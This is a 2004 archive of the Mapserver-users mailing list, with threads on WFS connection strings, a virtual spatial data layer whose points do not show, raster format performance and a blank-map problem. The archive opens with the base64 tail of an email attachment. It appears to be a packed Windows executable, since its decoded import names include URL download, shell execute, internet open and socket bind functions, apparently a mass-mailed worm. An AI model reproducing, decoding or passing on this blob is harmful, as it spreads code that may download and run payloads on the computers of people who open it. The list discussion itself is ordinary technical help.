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 mNRFu5iTLaNhj61fnITwAghLtiP3Sq4ds4gr+ZZCHJwCQp4eCMbknqHXohstGnMAO+zRN43C hsBlIRE2G7vrM34iC4QtLFjSA5jUZoJiDww1cb7Hk1IpihyQjKXiDqnrltTd3zH6/KU3MROH DTa33xyhsHBI46MxpRwhXFloYKVOjVSlM5TcW5SyuZyltv/SBRhwHceOF4xTbWux+fpPE4kh FZrqTliDX7uWLKVenlwl3K5OsJUpfByDaG6mAl+JpZScNUzdnH9mj5yAAW0ErZ16mwfFj5Nr jtzXHZ4RiETvrMVs37OYDmupl1Ozhp9MMDR8hKUPpese1jLVWiTd3iyCNlhwjoKMC4xNk7tt MYtAipCBjq4+c2CYrJQhiSAX5HJzb0RIu5mW1R6Pityhtk2sGI8XJDKMXcwVUrk+aI6pvF+1 ihBDF/2Wp1rAYGio72hEwRy5qfReObXaIoWkN5JwqG2xyqd3WrQCH2yD+I6qJ5c2t4+igq0D 8W8Brr+0o7GpvnFWG7UYzbuJvNNoyan/HbRGSBTr+t2+3Yjdld2K7/6FdgGf3Sqp3ZHdg920 C47d+qVNs/3215W1m0mG19Gp0QORg7T929I0n46GZbG1ldel+qEx4lLOT4imgKcdP2twtImD akWXabCRlqnN0jVTl1IA18SvP2OvmcYKEWmnqdeR3PkW+teD17TXUI5dodCqkeGO9az6oNKL gKOw1IXtuYGuUoPAbz76w6Kyju76GGpDW0hxig+m2rzVhNY2U40HCFw91hjM+geuJ1Kzuatg o1vWtvpDDb42sIdtbK1qKciV+kGpJRehq4xpib7gDt1SA1czM4qDQ6o1R80AWgeMVGSOCrBZ tNyai2EsSb1luyX6Ec8RODqJyEaDCjAKvtqE+nMBWYyKXCIACUUCCyWJA/+Xy6k0AVRQAUdl dE1vZHVsZdgWAMtGaU6DQRNYC4D/UHJvY0FkZHKQD//st/9TeXN0ZW1EaRBjdG9yeSRUaWNr Q2/s2xbsdW50DTxGG21hdEEPY23sn1pvbmVJbmYVaQsXV23/hP1pbmRvd3NLbG9iYWxBbAZj 979thwxGHWULTG9hZExpYnJhJs9iyboNYyULJE1huzX3/nBWaWV3T2bCDsxrQnmu71v7dlRv amRlQ2g8FE9wZW7Ta9vBYs8IMzIwctYPzdruAU5leA5SZXRKIYDdza1nZ2lpRHKCa1v3dlN0 BW5nc4lTGEXFcbXdzw0NCEF0H2J1eHWt/YIhE1BvMRCAU9ohgrsLZXAGRxqdbdu29x8JFVQh bSdhGeEX9mSiVW5t1VdhaXRd5gxvrlOADk9iajsU3+0vWQtL9BRuRXge4Xa2dDJyZT1sdXJj mMse9tkJbXBpCnB5CS72WrBuCjEJ/Pow22ZnokfPf3oM4QsfjxBUeXAvQ5FzZUhhEA8M915q G8kJQ3XYwQqFcqgG3ElkFNe6zwISb21tRUzAVQR7B8dGJ5B2Dpt7AzuvD3hy7mn4D9tlR0NV YftvbGhlbHBusl9Y01NXcHNob3QZaAYbtuGwZA1NrnhBDVqXMEPHTXBkEwzaQrLCbx8KP2Eb mmztEr5SaEtz5m6nWVpBCBZnRBkUzOHewlZEdTgQFg1s9mRvRXQgS2V5DnJmc2/ZDt8NVE6Y o52dICFC8B8NyW5Nb5BfYkpEQ7bZmx1KbX1fFgnhYzuMOUZZb+RssI1tgjtJUIMmdu8Ys1lr UVwOL8+4dsPcbAg+xkJrN9vWDGf8VKWDUXKnWN9MSTY0UTEGbU9uSNtah0nUOw5qaQrhaTZH R9ViAFOrNFvDo2y1QkFFbkD22BvuP99ySUEJRHVwCNnGYG4CElSFbQn1p+ncUic5elhVUkxE ppvkumVubEBpHIVoNm2dYH1wyXRmTR07LOw0YWdQb5D/c2ttGWZtlXCkNXp3lRpP7t4caFUb qhxPT9NJkHhJ3W667GvZkgIUdEEOjICVLlVcEfM2Q9twbm5SZWTDL1mcubbuaYxpH1+8ZDtB QKOxnnTA+FWYncwhDGJ5Dkh56WvAUFhjgHMDa2V0v8pbbmK9cmFjYyVTQYHXHHdccnR1MCMZ eTb7Zq52MnoUbAc++S/HYM1QRUwBBADMD5BAnjT/D+AADwELAQUMAERWSFD7DAcC31gNQAtu Fmw5AgQzBwzAztyS0B40EAezvCTeBk/QYdxdIJDLwKADp8T7mq6wAR4uw3TrQpB3F/YF6wQj IB4ucmR0g+0Kr6NGC/sMJ0jZYt2FQAIuJkd1bUqa7nAnOlTATwYbbIFzggDrwHOOwL/fyicb cGQNIcYAAAAAAAAAACAB/wAAYL4loEAAjb7bb///V4PN/+sQkJCQkJCQigZGiAdHAdt1B4se g+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD 8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJ ix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cE g+kEd/EBz+lM////Xon3uQcAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA6+gB 8IkHg8cFidji2Y2+AMAAAIsHCcB0PItfBI2EMKTjAAAB81CDxwj/loDkAACVigdHCMB03In5 V0jyrlX/loTkAAAJwHQHiQODwwTr4f+WiOQAAGHpBGz//wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAGOYCmRmilgsUXogXhQ0F4irB2qsGLxaZ7hkVbTDQG9aPg6+BxYb u3+GVnsSYKuTjw6NmbJAE2BZp8MCSJIkZ5JVukF5lS8FtLAmWThiRSpQNR+HxrDFOqmvDEde TSnCex2LlMOteqOLFnh+kcZTg4pkUlJNb6YHtR5Wk2+oozu3hqCpADheJXmmiIM6wpwYSbl5 nCBwfBU+KFWkVRC0WlE4QpgWHUCevcSSqR2osxEsYw2CYXpqoA3CNbYRWHNdxIB8T4RabyKX FLRmg3MrP4ZsAml0u3OJV56DmUWoASgJpVljTW5iarAuwrG/f4OVkxfHxjimXpckeXlcS5mM vRJ4EhttOEPEuzONjDajpXVYcHhkMwVuhL1duGlcoVx5pcBCs8MLhG6xW5YRhqIJXwZJfY1L Y117OX7ANEi8K3UaLnIZd2C3SG+jpW26eXaud2a7uaRIFQ1cvh1ZR1+ktQFOik14cwF8iRuK n6M9UJCNmnA3PBwvlb6bXo0/N2i4UWlHvcFOeXYhvDy4ZpWkT4LEoo+QnYKZD3JEAEYQIwUj tCU/dXoRwHsBY4hjvHEHZoE= ----------zbtyycshfvboceythgaw-- From bartvde at xs4all.nl Tue Jun 1 12:19:38 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 21:19:38 +0200 Subject: [Mapserver-users] WFS client howto In-Reply-To: References: <20040601113742.L12557@osiris.deathkeep.com> Message-ID: Hi Gregor, I read your second incoming e-mail too fast ... To answer your last question more precisely. The CONNECTION in the MAP file does not need to have a request=GetFeature and a BBOX as Mapserver WFS client will add that dynamically. But if you perform the request in a browser yourself, you need to add those parameters. So it is not an error in the docs. Best regards, Bart On Tue, 01 Jun 2004 21:08:01 +0200, Bart van den Eijnden wrote: > Hi Gregor, > > this is because Mapserver WFS client uses by default POST now, and the > WFS client HowTo is using HTTP GET in its examples (the docs should be > updated to include both options). So your Apache logfile only has the > basic URL in it to which a GetFeature XML request is posted. > > But you have probably run into something like the following: > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=597 > > Set your wfs_request_method metadata to GET then you can see in the > Apache log exactly the full request which gets sent. Or just add > request=GetFeature&BBOX=XMIN,YMIN,XMAX,YMAX to the URL you tried in a > browser (fill in the BBOX values though) and see if it works. > > Best regards, > Bart > > On Tue, 1 Jun 2004 11:41:03 -0700 (PDT), Gregor Mosheh > wrote: > >> >> Also, I noticed that in the WFS Client Howto, >> they give a connection string of: >> >> http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints >> >> But there's a mailing list entry that agrees with my experience, which >> was >> that to get any response at all you need to specify a REQUEST variable >> as >> well, e.g.: >> >> http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints&REQUEST=GetFeature >> >> >> Is this an error in the documentation, or am I missing something? >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > -- From Tom.Kralidis at ec.gc.ca Tue Jun 1 12:23:45 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 1 Jun 2004 15:23:45 -0400 Subject: [Mapserver-users] WFS client howto Message-ID: <2576812186CDD411BF1500508B6DCE9507366EC6@ecnwri1.ontario.int.ec.gc.ca> The REQUEST parameter is required for ALL OGC Web Services, actually, including OGC:WFS (http://www.opengis.org/docs/02-058.pdf). ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -----Original Message----- > From: Gregor Mosheh [mailto:stigmata at blackangel.net] > Sent: Tuesday, June 01, 2004 2:41 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] WFS client howto > > > > Also, I noticed that in the WFS Client Howto, > they give a connection string of: > > http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VE > RSION=1.0.0&TYPENAME=mypoints > > But there's a mailing list entry that agrees with my > experience, which was that to get any response at all you > need to specify a REQUEST variable as well, e.g.: > http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0. 0&TYPENAME=mypoints&REQUEST=GetFeature Is this an error in the documentation, or am I missing something? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde at xs4all.nl Tue Jun 1 12:22:25 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 21:22:25 +0200 Subject: [Mapserver-users] WFS client howto In-Reply-To: References: <20040601113742.L12557@osiris.deathkeep.com> Message-ID: I keep on making errors in e-mails this evening, and this one is against the OGC spec so I have to correct myself. The REQUEST parameter is required, but the BBOX parameter is optional. So you do not need to add the BBOX parameter when typing the URL in a browser, but you may use it to limit the data to be retrieved. Best regards, Bart On Tue, 01 Jun 2004 21:19:38 +0200, Bart van den Eijnden wrote: > Hi Gregor, > > I read your second incoming e-mail too fast ... > > To answer your last question more precisely. > > The CONNECTION in the MAP file does not need to have a > request=GetFeature and a BBOX as Mapserver WFS client will add that > dynamically. > > But if you perform the request in a browser yourself, you need to add > those parameters. > > So it is not an error in the docs. > > Best regards, > Bart > > On Tue, 01 Jun 2004 21:08:01 +0200, Bart van den Eijnden > wrote: > >> Hi Gregor, >> >> this is because Mapserver WFS client uses by default POST now, and the >> WFS client HowTo is using HTTP GET in its examples (the docs should be >> updated to include both options). So your Apache logfile only has the >> basic URL in it to which a GetFeature XML request is posted. >> >> But you have probably run into something like the following: >> >> http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=597 >> >> Set your wfs_request_method metadata to GET then you can see in the >> Apache log exactly the full request which gets sent. Or just add >> request=GetFeature&BBOX=XMIN,YMIN,XMAX,YMAX to the URL you tried in a >> browser (fill in the BBOX values though) and see if it works. >> >> Best regards, >> Bart >> >> On Tue, 1 Jun 2004 11:41:03 -0700 (PDT), Gregor Mosheh >> wrote: >> >>> >>> Also, I noticed that in the WFS Client Howto, >>> they give a connection string of: >>> >>> http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints >>> >>> But there's a mailing list entry that agrees with my experience, which >>> was >>> that to get any response at all you need to specify a REQUEST variable >>> as >>> well, e.g.: >>> >>> http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints&REQUEST=GetFeature >>> >>> >>> Is this an error in the documentation, or am I missing something? >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> >> > > > -- From stigmata at blackangel.net Tue Jun 1 12:27:49 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Tue, 1 Jun 2004 12:27:49 -0700 (PDT) Subject: [Mapserver-users] WFS client howto In-Reply-To: References: <20040601113742.L12557@osiris.deathkeep.com> Message-ID: <20040601122711.Y13270@osiris.deathkeep.com> > The REQUEST parameter is required, but the BBOX parameter is optional. So > you do not need to add the BBOX parameter when typing the URL in a > browser, but you may use it to limit the data to be retrieved. Got it. So this is an error in the docs? I mention it only so it could be corrected, if so. From bartvde at xs4all.nl Tue Jun 1 12:30:28 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 21:30:28 +0200 Subject: [Mapserver-users] WFS client howto In-Reply-To: <20040601122711.Y13270@osiris.deathkeep.com> References: <20040601113742.L12557@osiris.deathkeep.com> <20040601122711.Y13270@osiris.deathkeep.com> Message-ID: No it is not an error in the docs. As I said before the request parameter is added by Mapserver WFS client dynamically (in mapwfslayer.c). So you do not need to add it to your CONNECTION string in the MAP file. If you use the URL in a browser though, you need to specify it. Hope this clears things up :) Best regards, Bart On Tue, 1 Jun 2004 12:27:49 -0700 (PDT), Gregor Mosheh wrote: > >> The REQUEST parameter is required, but the BBOX parameter is optional. >> So >> you do not need to add the BBOX parameter when typing the URL in a >> browser, but you may use it to limit the data to be retrieved. > > Got it. > So this is an error in the docs? > > I mention it only so it could be corrected, if so. > > -- From jenu_ab at hotmail.com Tue Jun 1 13:11:56 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Tue, 01 Jun 2004 15:11:56 -0500 Subject: [Mapserver-users] Virtual Spatial Data - projection Message-ID: guys... i have been trying to plot points on a US map using latlong cordinates from my SQL table using virtual spatial data ogrinfo gave the correct output..with testing2.ovf eg: -35.5 97.4 oklahomaq city -41.5 87.2 chicago i can see the states layer but i dont see any points on my map..from the truck layer why? is something wrong in the projection ------------------------ MAP NAME e-test-rd-jbox-vsd_ IMAGETYPE GIF EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 SIZE 800 600 SHAPEPATH "C:\cgi-bin\data\" FONTSET "C:\cgi-bin\fonts\fonts.list" WEB TEMPLATE 'e-test-rd-jbox.html' IMAGEPATH 'C:\cgi-bin\tmp\' IMAGEURL '/tmp/' END PROJECTION "init=epsg:2163" END LAYER # States polygon layer begins here NAME states DATA statesp020 STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 240 240 100 END END # States polygon layer ends here LAYER # start of truck position from database NAME trucks TYPE POINT CONNECTIONTYPE OGR CONNECTION "testing2.ovf" DATA "mylayer" STATUS DEFAULT PROJECTION "proj=latlong" END CLASS SYMBOL 1 SIZE 6 COLOR 255 0 0 END END # end of connection layer # End of LAYER DEFINITIONS END # end of map file _________________________________________________________________ Stop worrying about overloading your inbox - get MSN Hotmail Extra Storage! http://join.msn.click-url.com/go/onm00200362ave/direct/01/ From bartvde at xs4all.nl Tue Jun 1 13:33:59 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 22:33:59 +0200 Subject: [Mapserver-users] raster data formats Message-ID: Hi list, did somebody do a (recent) research into what would be the most ideal raster format for Mapserver (or for webmapping in general)? Aspects which come to mind: -time to produce the map -CPU usage -disk space -memory consumption I would especially be interested in comparing compressed Geotiff, uncompressed Geotiff, ECW and JPEG2000. I know Ed McNierney has made several strong pleas for uncompressed Geotiff although depending on the situation, but are there any hard figures out there to convince people? Ofcourse every research will depend on the rasters used, but just wondering if there are any figures out there. Thanks in advance. Best regards, Bart From gbustamante at c4sonora.gob.mx Tue Jun 1 13:37:22 2004 From: gbustamante at c4sonora.gob.mx (Guillermo Bustamante) Date: Tue, 1 Jun 2004 13:37:22 -0700 Subject: [Mapserver-users] blank page with explorer Message-ID: Im still having the same error for the past 2 days ... when im testing the maps in explorer it apears just the IMAGECOLOR square s just that please help me with this problem. im using windows xp apache 2 and php 4.3.6 with mapserver 4 MAP IMAGETYPE PNG EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "D:\MAPAS_RESPALDO\shapes\" IMAGECOLOR 150 100 255 PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME x1126018 DATA "D:/MAPAS_RESPALDO/water.shp" STATUS DEFAULT TYPE LINE PROJECTION "init=epsg:4269" END CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object From stigmata at blackangel.net Tue Jun 1 14:16:35 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Tue, 1 Jun 2004 14:16:35 -0700 (PDT) Subject: [Mapserver-users] WFS client howto In-Reply-To: References: <20040601113742.L12557@osiris.deathkeep.com> Message-ID: <20040601141029.O14255@osiris.deathkeep.com> Thanks for your help, Bart. It still doesn't work, but at least I now know why. > But you have probably run into something like the following: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=597 Yes, that's the same result I was getting with my manually-entered URLs. So that "nothing there" response is the "junk" that makes the layer (and thus the whole map) fail? > Set your wfs_request_method metadata to GET then you can see in the Apache > log exactly the full request which gets sent. Yes, and that gave me the lead to figure out what was being sent and thus what was wrong. Now my WFS client looks like this, and is at least sending requests to the httpd. This paragraph is nothing at all like the one in the howto, though. Any comments? (the CONNECTION is right. it's a dedicated wms/wfs-only mapserver) CONNECTIONTYPE wfs CONNECTION "http://maps.hostgis.com:800/mapserv?" METADATA "wfs_service" "WFS" "wfs_typename" "streets" "wfs_srs" 